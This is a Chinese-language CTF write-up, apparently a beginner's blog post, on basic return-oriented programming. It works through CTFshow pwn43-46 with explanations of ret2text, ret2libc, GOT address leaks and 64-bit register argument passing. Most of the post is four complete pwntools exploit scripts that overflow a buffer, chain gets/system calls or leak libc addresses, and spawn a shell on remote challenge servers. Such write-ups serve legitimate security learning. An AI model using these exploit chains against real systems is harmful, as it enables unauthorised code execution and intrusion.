基本ROP学习
初学者水平有限,理解可能有误,以CTFshow pwn43-46为例题。
返回导向编程,核心是控制ret点
ret2shellcode
NX保护未开,bss段可执行。
bss段:存储未初始化的全局变量和静态变量的内存区域
ret2text
在源文件中寻找利用点
ret2libc
一般为system函数和/bin/sh都有,二者其一没有,二者都没有三种情况。
先看有system函数无/bin/sh的例题
pwn43、44
gets函数存在明显溢出,hint函数纯在system函数,无/bin/sh,考虑寻找有可写权限的数据段,将字符串存入该数据单元作为参数
32位
from pwn import *
context(os = 'linux', log_level = 'debug', arch = 'i386')
io = remote('pwn.challenge.ctf.show', 28298)
elf = ELF('./pwn')
system_addr = elf.sym['system']
gets_addr = elf.sym['gets']
buf = 0x804b060
offset = 0x6c + 4
payload = b'a' * offset
payload += p32(gets_addr)
payload += p32(system_addr)#gets函数返回地址,返回system函数
payload += p32(buf)#gets函数参数,system函数返回地址
payload += p32(buf)#system函数参数
io.recv()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
64位
与32位不同,需要堆栈平衡,传参与32位也不同。
具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28163)
elf = ELF('./pwn')
system_addr = elf.sym['system']
gets_addr = elf.sym['gets']
offset = 0xA + 8
buf2 = 0x602080
pop_rdi = 0x4007f3
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(buf2)
payload += p64(gets_addr)
payload += p64(pop_rdi)
payload += p64(buf2)
payload += p64(system_addr)
io.sendline(payload)
io.sendline("bin/sh")
io.recv()
io.interactive()
#1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中
#2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中
#3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中
#4.调用 system 函数,以 buf2 的地址作为参数
函数的真实地址 = 基地址 + 偏移地址
偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、"/bin/sh"字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、"/bin/sh"字符串的偏移地址
基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本
两者都没有,但存在libc中的write函数,即可确定程序利用的libc,进而得到system函数的地址。
- system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。
- 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变。
方法:采用GOT表泄露地址,由于libc的延迟绑定,我们需要泄露已经执行过的函数地址。
流程:泄露write函数地址,获取libc版本,获取system函数地址和'bin/sh'地址,执行程序处罚栈溢出漏洞拿到shell。
write函数有3个参数, write(int fd,const void*buf,size_t count);
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28294)
elf = ELF('./pwn')
offset = 0x6B + 0x4
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)#栈溢出-调用write函数(泄露地址)-回到main函数重新执行write函数打印处地址,进而获得libc
io.sendline(payload)
write_addr = u32(io.recvuntil('\xf7')[-4:])
#\xf7 真实地址总是从7f开始,故从7f开始接收
libc = LibcSearcher("write", write_addr)
libc_case = write_addr - libc.dump("write")
system_addr = libc_case + libc.dump("system")
binsh_addr = libc_case + libc.dump("str_bin_sh")
payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)#拿到shell
io.sendline(payload)
io.interactive()
64位,还是同样的思路,只不过变成了寄存器传参。
这次选择泄露puts函数。
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote("pwn.challenge.ctf.show", 28223)
elf = ELF('./pwn')
offset = 0x70 + 0x8
pop_rdi = 0x400803
ret = 0x4004fe
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
io.sendline(payload)
#print("------")
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#print("-----------------")
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
binsh_addr = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a'
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
io.sendline(payload)
io.interactive()
标签:基本,addr,libc,system,学习,io,ROP,payload,函数
From: https://www.cnblogs.com/chang-room/p/18048951